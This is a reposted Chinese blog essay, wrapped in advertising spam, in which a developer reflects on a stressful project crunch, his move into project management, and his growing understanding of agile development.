南投搬家前需注意的眉眉角角,別等搬了再說!

敏捷開發:我在路上

略有耳聞

行業變化真的很快~思想更新迭代更是應接不暇。

我在最早最早聽到敏捷開發的時候是2014年,入行剛剛兩年。

猶記得當初領導引出這個話題,大家討論開來。

“咱們敏捷不起來,那是外國玩的東西”

“敏捷就是快,極限編程,到時候代碼都是坑。還得重構”

其實很多對話已經很模糊了。但是整體的氛圍就是,想玩會把自己玩死。

當時作為一顆小白菜的我~,完全聽不懂他們在講什麼。只能從字面意義去暢想。

敏捷–就是快速的意思唄,快就對了。

極限–是不是就是給你個需求你能超出極限干出來。

這太恐怖了。後面這個話題慢慢就不知不覺中煙消雲散

痛苦

對敏捷的認識,我的思想依舊停留在之前的認知。一直沒有人討論,也沒有過自己主動補充。

主要原因,周圍的人習慣了這種跨度長,按部就班的迭代方式。

即便是有人提出過異議,依舊還是寡不敵眾,重回其道。

2017年11月 到 2019年元旦,這是我感觸頗深的一段時間。

因為分組原因,起初有一個很不起眼的系統放在了我們組,然後這個系統從無到有,我們進行快速開發上線。直到我一個人維護這個系統兩年。

後面因為我還有另外一個重要的工作,使得這兩個工作項,在衝突中迭代,在痛苦中來回切換。

其中的痛苦對於沒有管理經驗的我來說真的是煉獄。

我向管理層提出了我的想法,是不是可以改變一下這種節奏?

通過深思熟慮我從.NET組轉到了php組(可以理解為也是技術棧的完全切換),就是我們說的轉語言。

但是轉過的我,依舊痛苦。需求不斷,我依舊使用C#迭代着這個內部系統。

10月份接到一個高層領導們提出很多需求,準備一個大版本迭代。必須在元旦前上線。

首先:

人不夠 — 找外包和我一起來做

時間長 — 砍掉估時的一半,加班做

資金 — 外包2人,算是增加了預算

結果可想而知:

好在上線了(元旦加了幾天班,一個外包沒來,另一個最後一天因為胃不舒服回家了)

我現在想起元旦自己一個人在一個項目群里回復着4~5個測試(系統測試、性能測試),

一個人改着bug,改完bug列表,刷新后馬上又多了幾個bug的崩潰。

php組的領導也確實幫不上忙,默默陪着我,協調資源和處理其他問題。多虧領導的陪伴,要不我真的能放棄。

這個時候,我的小孩出生也有4個多月了。

那一年的8月,也就是2018年8月,我從老東家離職。

我給我的理由是:離家遠,想早點回家看孩子。

這個理由真的很牽強。我真的感覺倦了,感覺無休止地看不到頭,感覺自己更加迷茫。

反思

我從上一家公司離職后,到現在一年多。我才慢慢體會到我所說的痛苦都是有原因的,而且完全可以避免和克服。

入職新公司,參与了一個項目,並嘗試着管理一個項目。公司有整個項目周期的管理流程。

我從流程中學習如何管理項目。經過一年多的學習和轉變,我學習着分析當初我的痛苦。

沒有項目管理經驗的我

因為我最熟悉代碼和業務,所以組織外包分配任務。但是沒有經驗和想法的我把這個項目管理得一團糟。

我應該可以更加清晰地分配任務,使得任務相對獨立。

我也可以更加詳細地拆分任務,因為我對邏輯非常熟悉,所以可以將複雜操作拆得更加詳細

我在項目中開發,無法脫身,完全可以從上層角度來提前協調資源。

我當時的技術面比較窄,無法從更高的技術角度看代項目。

我知道當時的外包很貴,領導可能出於預算,分析了任務量,確認了2個外包。

整個開發沒有層次,測試都在最後一擁而上,我們不得不在群里說著這個功能的實現細節。然後測試再去測試。

對這個項目預估不足

沒有預估到這個內部系統如此複雜的業務纏繞

沒有預估到這個系統整個迭代如此混亂,沒有節奏,沒有章法。

心態

一開始我就輸了,輸在了心態

我總是想着2年的系統沒有文檔,重構是完不成的。

我總是想着完不成也有理由,因為A,B,C

遇到困難或在極其艱難的時候,沒有正面困難的勇氣,我選擇了抱怨和唉聲嘆氣,我選擇了消極應戰。對,我的士氣確實沒有了。

如果

如果,再有如果,我使用一些項目管理的方法和在實踐中總結的方法,再次迭代這個項目,那結果會是怎樣?

如果我再負責一點,把模塊拆開,任務分細,即便是外包來做,也不會被項目嚇到?

如果我在開始前,做了詳細的項目迭代規劃,可以先交付什麼,后交付什麼,前後沒有大的關聯。測試資源可以儘早介入。

如果我在開發前,做好風險準備以及應對方案,是不是開發中有時候就不會那麼被動?

我總結就是:層次、心性、管理

為什麼是這三個詞,這也是我覺得我從一個普通程序員轉變成初級管理的一個總結。

層次:我當初壓根就沒有轉管理的這根線,所以分析問題都是從自身角度,層次可想而知。

心性:做好了轉管理的準備,心性也要做好準備,遇到棘手的問題,客戶的催促。我必須放下抱怨、冷靜分析選擇最合適的解決方案。

管理:我思想和心裏都做好了準備,我確實需要一些指導,比如老領導的幫帶,一些書籍的閱讀。從認知上再次提升

       剩下的就是在實踐中不斷打磨自己的認知和理解,總結后再嘗試。

重新定義自己

2018年8月中旬來到現在的公司,這裏我接觸了一些項目管理的流程。

我嘗試管理項目,我嘗試總結問題,我嘗試全局分析。

這一年我犯了很多錯,回過頭髮現當初的自己是多麼幼稚不堪。

還好,我在同事和領導身上,慢慢學習他們的優點和經驗。

如何管理項目、把控流程、協調資源、拆分任務

如何和上級溝通

如何和同事更好協作

如何把自己身上的任務合理分下去,同時關注帶的人的成長

比如購銷合同一個緊急項目,如何跨部門協調,如何在緊急情況下做出合適的方案並協調資源。

... ...

重新認識敏捷

2019年3月,我們部門來了一個新同事,了解到他之前公司一直是敏捷開發。

我們時不時一起討論敏捷開發等相關問題。

“我們的任務是儘早持續交付有價值的軟件,並讓用戶滿意”

這一敏捷宣言,細細品味,確實蘊藏了巨大的能量。

圍繞着這一句話,我們可以想象到很多的方面進行改進,以接近這一宣言。

用戶為中心

價值導向

持續集成

優先級

自主管理

協作溝通

以人為本

等......

我們所使用的這些方法和策略,就是在慢慢打造更高效的團隊。發揮價值。

發揮價值,然後慢慢改造流程,發揮更大的價值。

就是在一個循環往複中,螺旋上升。

起初會有不適應,因為人都是有惰性的,組織和規範都是有平衡的。

敏捷的這些思想,無時無刻地衝擊着這些人性、組織以及規範。

當在堅持實行的過程中,信任他人,成就他人,這樣慢慢激發人性的能量。團隊收穫的是能量,個人收穫的是成長。

堅持實行敏捷,是一項艱巨的任務。這需要團隊不斷磨合,不斷找到合適的相處方式,找到每個人的能力成長點,並激發它。

敏捷最終落腳的地方是人,所以如何將敏捷這些思想,灌輸給團隊。然後沿着方法論嘗試、總結、修改、再嘗試。

這樣的敏捷,我不確定是不是也是敏捷的一種。

總結

不斷實踐,不斷吸收,不斷激發,不斷優化

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!